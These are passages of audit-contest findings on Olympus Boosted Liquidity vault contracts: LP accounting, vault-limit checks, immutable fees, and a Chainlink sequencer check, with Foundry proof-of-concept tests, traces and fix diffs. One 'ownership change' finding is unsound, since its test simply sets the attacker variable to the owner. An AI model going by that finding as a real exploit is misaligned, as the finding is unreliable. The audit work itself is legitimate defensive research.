User A deposits wstETH to their vault which yields 50 LP. User B creates a vault then stake 50 LP and withdraws it from his vault. The manager now thinks there is 0 LP in vaults. When User A tries to withdraw their LP it will revert when it calls manger.decreaseTotalLp. User A is now permanently trapped in the vault.
Impact
LP accounting is broken and users are permanently trapped.
Code Snippet
Tool used
Manual Review
Recommendation
Individual vaults should track how much they have deposited and shouldn't be allowed to withdraw more than deposited.
fat32 - Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol
fat32
medium
Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol
Summary
Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
can only be called by the vault's owner
correctly decreases state values (deployedOhm and totalLp)
correctly withdraws liquidity
Please see the POC below which I used Foundry for.
The impact is that I am able to gain ownership and Withdraw(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000).Vulnerability Detail
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L203-L256Impact
Unauthorised Change Of Ownership after withdraw function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
can only be called by the vault's owner
correctly decreases state values (deployedOhm and totalLp)
correctly withdraws liquidity
Please see the POC below which I used Foundry for.
The impact is that I am able to gain ownership and Withdraw(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000).Code Snippet
POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol// POC
// 1. update test file named BLVaultLidoMocks.t.sol for the function below by replacing function named
// testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner.
function testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address attacker_) public {
_withdrawSetup();
if (attacker_ == alice) {
vm.prank(alice);
aliceVault.withdraw(1e18, minAmountsOut, true);
} else {
bytes memory err = abi.encodeWithSignature("BLVaultLido_OnlyOwner()");
vm.expectRevert();
// Try to withdraw
bob = alice; // fat32 change owner
attacker_ = bob; // fat32 change owner
vm.prank(attacker_);
aliceVault.withdraw(1e18, minAmountsOut, true);
}
}# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
[⠆] Compiling...
No files changed, compilation skipped
Running 13 tests for src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19649, ~: 19649)
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledWhenManagerIsActive() (gas: 47075)
[PASS] testCorrectness_claimRewardsCorrectlyClaims() (gas: 439002)
[PASS] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19714, ~: 19714)
[PASS] testCorrectness_depositCanOnlyBeCalledWhenManagerIsActive() (gas: 47127)
[PASS] testCorrectness_depositCorrectlyDeploysLiquidity() (gas: 396052)
[PASS] testCorrectness_depositCorrectlyIncreasesState(uint256) (runs: 256, μ: 406200, ~: 406202)
[PASS] testCorrectness_getLpBalance(uint256) (runs: 256, μ: 411701, ~: 411704)
[PASS] testCorrectness_getUserPairShare(uint256) (runs: 256, μ: 446025, ~: 446024)
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0xc7fe5a700000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Traces:
[607208] BLVaultLidoTest::testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(0x0000000000000000000000000000000000000000)
├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6)
│ └─ ← ()
├─ [372634] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::deposit(100000000000000000000, 0)
│ ├─ [370440] BLVaultLido::deposit(100000000000000000000, 0) [delegatecall]
│ │ ├─ [2459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
│ │ │ └─ ← true
│ │ ├─ [30352] BLVaultManagerLido::getOhmTknPrice() [staticcall]
│ │ │ ├─ [194] MockWsteth::stEthPerToken() [staticcall]
│ │ │ │ └─ ← 1000000000000000000
│ │ │ ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ └─ ← 0, 10000000000000000, 0, 1608336000, 0
│ │ │ ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ └─ ← 0, 1000000000000000000, 0, 1608336000, 0
│ │ │ └─ ← 100000000000
│ │ ├─ [2564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [27295] MockWsteth::transferFrom(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000000000000)
│ │ │ ├─ emit Transfer(from: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [111021] BLVaultManagerLido::mintOhmToVault(10000000000000)
│ │ │ ├─ [32472] OlympusMinter::increaseMintApproval(BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 10000000000000)
│ │ │ │ ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x359fe780) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ emit IncreaseMintApproval(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], newAmount_: 10000000000000)
│ │ │ │ └─ ← ()
│ │ │ ├─ [50857] OlympusMinter::mintOhm(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000)
│ │ │ │ ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x3a56e307) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ [52131] OlympusERC20Token::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000)
│ │ │ │ │ ├─ [0] MockLegacyAuthority::vault() [staticcall]
│ │ │ │ │ │ └─ ← OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7]
│ │ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 10000000000000)
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ emit Mint(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], to_: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount_: 10000000000000)
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [24972] OlympusERC20Token::increaseAllowance(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 10000000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 10000000000000)
│ │ │ └─ ← true
│ │ ├─ [24567] MockWsteth::approve(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [281] MockBalancerPool::getPoolId() [staticcall]
│ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [83256] MockVault::joinPool(0x0000000000000000000000000000000000000000000000000000000000000000, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, ([0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], [10000000000000, 100000000000000000000], 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000009184e72a0000000000000000000000000000000000000000000000000056bc75e2d63100000, false))
│ │ │ ├─ [22584] OlympusERC20Token::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 10000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 10000000000000)
│ │ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 0)
│ │ │ │ └─ ← true
│ │ │ ├─ [20499] MockWsteth::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000000000000)
│ │ │ │ └─ ← true
│ │ │ ├─ [44625] MockBalancerPool::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000000000000)
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 100000000000000000000
│ │ ├─ [22916] BLVaultManagerLido::increaseTotalLp(100000000000000000000)
│ │ │ └─ ← ()
│ │ ├─ [24545] MockBalancerPool::approve(MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 100000000000000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 100000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [26325] MockAuraBooster::deposit(0, 100000000000000000000, true)
│ │ │ ├─ [20481] MockBalancerPool::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], 100000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], amount: 100000000000000000000)
│ │ │ │ └─ ← true
│ │ │ └─ ← true
│ │ ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ emit Deposit(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000)
│ │ └─ ← 100000000000000000000
│ └─ ← 100000000000000000000
├─ [0] VM::expectRevert()
│ └─ ← ()
├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6)
│ └─ ← ()
├─ [211759] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::withdraw(1000000000000000000, [0, 0], true)
│ ├─ [211544] BLVaultLido::withdraw(1000000000000000000, [0, 0], true) [delegatecall]
│ │ ├─ [459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
│ │ │ └─ ← true
│ │ ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [1031] BLVaultManagerLido::decreaseTotalLp(1000000000000000000)
│ │ │ └─ ← ()
│ │ ├─ [77512] MockAuraRewardPool::withdrawAndUnwrap(1000000000000000000, true)
│ │ │ ├─ [22876] MockBalancerPool::transfer(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000)
│ │ │ │ ├─ emit Transfer(from: MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
│ │ │ │ └─ ← true
│ │ │ ├─ [46691] MockERC20::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [24545] MockBalancerPool::approve(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 1000000000000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 1000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [281] MockBalancerPool::getPoolId() [staticcall]
│ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [43958] MockVault::exitPool(0x0000000000000000000000000000000000000000000000000000000000000000, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, ([0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], [0, 0], 0x00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000de0b6b3a7640000, false))
│ │ │ ├─ [2292] MockBalancerPool::burn(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000)
│ │ │ │ └─ ← ()
│ │ │ ├─ [557] OlympusERC20Token::balanceOf(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF]) [staticcall]
│ │ │ │ └─ ← 10000000000000
│ │ │ ├─ [18730] OlympusERC20Token::transfer(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000)
│ │ │ │ ├─ emit Transfer(from: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 10000000000000)
│ │ │ │ └─ ← true
│ │ │ ├─ [553] MockWsteth::balanceOf(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF]) [staticcall]
│ │ │ │ └─ ← 100000000000000000000
│ │ │ ├─ [18301] MockWsteth::transfer(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000000000000)
│ │ │ │ ├─ emit Transfer(from: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000000000000)
│ │ │ │ └─ ← true
│ │ │ └─ ← ()
│ │ ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 10000000000000
│ │ ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 100000000000000000000
│ │ ├─ [4852] BLVaultManagerLido::getTknOhmPrice() [staticcall]
│ │ │ ├─ [194] MockWsteth::stEthPerToken() [staticcall]
│ │ │ │ └─ ← 1000000000000000000
│ │ │ ├─ [797] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ └─ ← 0, 10000000000000000, 0, 1608336000, 0
│ │ │ ├─ [797] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ └─ ← 0, 1000000000000000000, 0, 1608336000, 0
│ │ │ └─ ← 10000000000000000
│ │ ├─ [24972] OlympusERC20Token::increaseAllowance(OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], 10000000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], amount: 10000000000000)
│ │ │ └─ ← true
│ │ ├─ [11340] BLVaultManagerLido::burnOhmFromVault(10000000000000)
│ │ │ ├─ [10039] OlympusMinter::burnOhm(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000)
│ │ │ │ ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0xaaf0ad5a) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ [4851] OlympusERC20Token::burnFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 10000000000000)
│ │ │ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], amount: 0)
│ │ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0x0000000000000000000000000000000000000000, amount: 10000000000000)
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ emit Burn(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], from_: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount_: 10000000000000)
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [2381] MockWsteth::transfer(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 100000000000000000000)
│ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 100000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 1000000000000000000
│ │ ├─ [19901] MockERC20::transfer(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 1000000000000000000)
│ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000)
│ │ │ └─ ← true
│ │ ├─ emit RewardsClaimed(rewardsToken: MockERC20: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], amount: 1000000000000000000)
│ │ ├─ [2542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [2350] MockAuraRewardPool::extraRewardsLength() [staticcall]
│ │ │ └─ ← 0
│ │ ├─ emit Withdraw(ohmAmount: 10000000000000, wstethAmount: 100000000000000000000)
│ │ └─ ← 10000000000000, 100000000000000000000
│ └─ ← 10000000000000, 100000000000000000000
└─ ← "Call did not revert as expected"
[PASS] testCorrectness_withdrawCanOnlyBeCalledWhenManagerIsActive() (gas: 52804)
[PASS] testCorrectness_withdrawCorrectlyDecreasesState(uint256) (runs: 256, μ: 599961, ~: 601828)
[PASS] testCorrectness_withdrawCorrectlyWithdrawsLiquidity() (gas: 610408)
Test result: FAILED. 12 passed; 1 failed; finished in 189.09ms
Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0xc7fe5a700000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Encountered a total of 1 failing tests, 12 tests succeededTool used
Foundry + Visual Studio CodeManual Review
Recommendation
To validate owner, use require statement and not if statement.chaduke - Wrong check condition for setLimit() because it fails to recognize the real effective ohm minting limit is ohmLimit + circulatingOhmBurned!
chaduke
medium
Wrong check condition for setLimit() because it fails to recognize the real effective ohm minting limit is ohmLimit + circulatingOhmBurned!
Summary
Wrong check condition for setLimit(). This is because setLimit() fails to consider the effect of circulatingOhmBurned, which is considered by mintOhmToVault() when minting Ohm. The effective limit is not ohmLimit but ohmLimit + circulatingOhmBurned.
Due to the wrongly used condition, sometimes when we want to lower the limit, it will be rejected wrongly, resulting in a higher limit then intended. In the edge case of deployedOhm = 0, the update of ohhLimit is totally frozen, and we cannot even change ohhLimit to zero in this case. As a result, we end up a limit that is much higher than intended (the original limit).
Vulnerability Detail
First, let's look at the function mintOhmToVault, the amount of Ohm that can be minted as constrained by the following condition, inferred from L241.
deployedOhm + amount_ <= ohmLimit + circulatingOhmBurnedAs a result, we have
deployeeOhm <= ohmLimit + circulatingOhmBurnedIn other words, the real minting limit is ohmLimit + circulatingOhmBurned, not ohmLimit!
However, the following condition for setLimit() is not consistent with the above condition:
function setLimit(uint256 newLimit_) external override onlyRole("liquidityvault_admin") {
if (newLimit_ < deployedOhm) revert BLManagerLido_InvalidLimit();
ohmLimit = newLimit_;
}It fails to consider the effect of circulatingOhmBurned. The effective limit is not ohmLimit but ohmLimit + circulatingOhmBurned. The correction should be:
function setLimit(uint256 newLimit_) external override onlyRole("liquidityvault_admin") {
- if (newLimit_ < deployedOhm) revert BLManagerLido_InvalidLimit();
+ if (newLimit_+ circulatingOhmBurned < deployedOhm) revert BLManagerLido_InvalidLimit();
ohmLimit = newLimit_;
}The impact is that sometimes, we cannnot lower the limit as we want (what we want is also legitimate). In other words, the wrong condition provides some "resistance" to lower the limit, and pushing the limit higher than necessary. The following example shows that we are not able to lower the limit due to this wrong condition. As a result, we end up in a limit HIGHER then we want. With a correct condition, we would be able to lower the limit.
For example, suppose oldLimit = 1,000,000e18 and circulatingOhmBurned = 500,000e18 and deployedOhm = 1,400,000e18. Since deployedOhm < oldLimit + circulatingOhmBurned, there is no violation.
Now suppose want to lower the limit to newLimit = 950,000e18, since we still have c + circulatingOhmBurned``, there is no violation either.
However, the function setLimit() will use condition deployedOhm < oldLimit to
reject this decrease of ohmLimit, even though there is no violation. We should be able to lower the limit to 950,000e18 if we use the correct limit/condition.
As a result, since we are not be able to lower the limit, we have to accept the original higher limit since we could not lower the limit.
In the edge case of deployedOhm = 0, the update of ohhLimit is totally frozen, and we cannot even change ohhLimit to zero in this case. As a result, we end up a limit that is much higher than intended (the original limit). This is a much serious issue since ohhLimit might be a large value and there might be a need to reduce this large limit.
Impact
setLimit() fails to consider the real/effective limit is newLimit_+circulatingOhmBurned, not just newLimit. As a result, setLimit() might fail even when it is not supposed to. As a result, one need to set the limit unnecessary high!
If deployedOhm = 0, one cannot lower the limit at all, the update of limit is totally frozen. As a result, one has to use the original limit, even though it is a very high limit!
Code Snippet
See above
Tool used
VScode
Manual Review
Recommendation
Correction, the effective limit is newLimit+circulatingOhmBurned:
function setLimit(uint256 newLimit_) external override onlyRole("liquidityvault_admin") {
- if (newLimit_ < deployedOhm) revert BLManagerLido_InvalidLimit();
+ if (newLimit_+ circulatingOhmBurned < deployedOhm) revert BLManagerLido_InvalidLimit();
ohmLimit = newLimit_;
}Duplicate #48
0x4non - Immutable fee value in `BLVaultLido` make impossible to update fees for existing vaults
0x4non
high
Immutable fee value in BLVaultLido make impossible to update fees for existing vaults
Summary
I love that you are using clones with immutables, but there is an issue on this where the fee is set as an immutable value when deploying new vaults. This makes it impossible to update the fee for existing vaults, and any changes will only apply to newly created vaults.
Vulnerability Detail
The BLVaultManagerLido contract uses the ClonesWithImmutableArgs library to create clones of the vault implementation and set immutable arguments.
The current implementation is using the fee as an immutable value, which means it cannot be updated once the vault is deployed.
Impact
The impact of this vulnerability is that any changes to the fee will only apply to new vaults created after the change. This may lead to inconsistent fees across vaults and limit the ability of the contract owner to update fees for all vaults.
Code Snippet
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L111-L114
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L216-L218
POC
diff --git a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
index eb240b1..9474e78 100644
--- a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
+++ b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
@@ -267,6 +267,20 @@ contract BLVaultManagerLidoTest is Test {
vaultManager.deployVault();
}
+ function testCorrectness_setFeeUpdatesCorrectly(uint64 fee_) public {
+ vm.assume(fee_ <= 10_000);
+
+ vm.prank(alice);
+ BLVaultLido aliceVault = BLVaultLido(vaultManager.deployVault());
+ assertEq(aliceVault.fee(), 0);
+
+ // Set fee
+ vaultManager.setFee(fee_);
+
+ // Check state after
+ assertEq(aliceVault.fee(), fee_, "fee not updated correctly");
+ }
+
function testCorrectness_deployVaultCorrectlyClonesVault() public {
// Create vault
vm.prank(alice);Tool used
Manual Review
Recommendation
Use the fee setted on the manager;
diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol
index 2f38587..3236916 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol
+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol
@@ -109,8 +109,8 @@ contract BLVaultLido is IBLVaultLido, Clone {
return IAuraRewardPool(_getArgAddress(252));
}
- function fee() public pure returns (uint64) {
- return _getArgUint64(272);
+ function fee() public view returns (uint64) {
+ return manager().currentFee();
}diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
index 9013392..32fc8e3 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
@@ -212,8 +212,7 @@ contract BLVaultManagerLido is Policy, IBLVaultManagerLido, RolesConsumer {
balancerData.liquidityPool, // Balancer Pool
auraData.pid, // Aura PID
auraData.auraBooster, // Aura Booster
- auraData.auraRewardPool, // Aura Reward Pool
- currentFee
+ auraData.auraRewardPool // Aura Reward Pool
);
BLVaultLido clone = BLVaultLido(address(implementation).clone(data));peanuts - Sequencer is not checked in BLVaultManagerLido#_validatePrice
peanuts
medium
Sequencer is not checked in BLVaultManagerLido#_validatePrice
Summary
The sequencer is not checked in BLVaultManagerLido#_validatePrice.
Vulnerability Detail
In the chainlink documentation, the sequencer is checked like this:
// Check the sequencer status and return the latest price
function getLatestPrice() public view returns (int) {
// prettier-ignore
(
/*uint80 roundID*/,
int256 answer,
uint256 startedAt,
/*uint256 updatedAt*/,
/*uint80 answeredInRound*/
) = sequencerUptimeFeed.latestRoundData();
// Answer == 0: Sequencer is up
// Answer == 1: Sequencer is down
bool isSequencerUp = answer == 0;
if (!isSequencerUp) {
revert SequencerDown();
}https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code
This sequencer is not checked in BLVaultManagerLido#_validatePrice()
function _validatePrice(
AggregatorV3Interface priceFeed_,
uint48 updateThreshold_
) internal view returns (uint256) {
// Get price data
(uint80 roundId, int256 priceInt, , uint256 updatedAt, uint80 answeredInRound) = priceFeed_
.latestRoundData();
// Validate chainlink price feed data
// 1. Price should be greater than 0
// 2. Updated at timestamp should be within the update threshold
// 3. Answered in round ID should be the same as round ID
if (
priceInt <= 0 ||
updatedAt < block.timestamp - updateThreshold_ ||
answeredInRound != roundId
) revert BLManagerLido_BadPriceFeed();
return uint256(priceInt);
}
}Impact
No check sequencer is down in Chainlink feeds.
Code Snippet
Tool used
Manual Review
Recommendation
Recommend adding a sequencer check.
(
/*uint80 roundID*/,
int256 answer,
uint256 startedAt,
/*uint256 updatedAt*/,
/*uint80 answeredInRound*/
) = sequencerUptimeFeed.latestRoundData();
// Answer == 0: Sequencer is up
// Answer == 1: Sequencer is down
bool isSequencerUp = answer == 0;
if (!isSequencerUp) {
revert SequencerDown();
}fat32 - Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol
fat32
medium
Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol
Summary
Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol
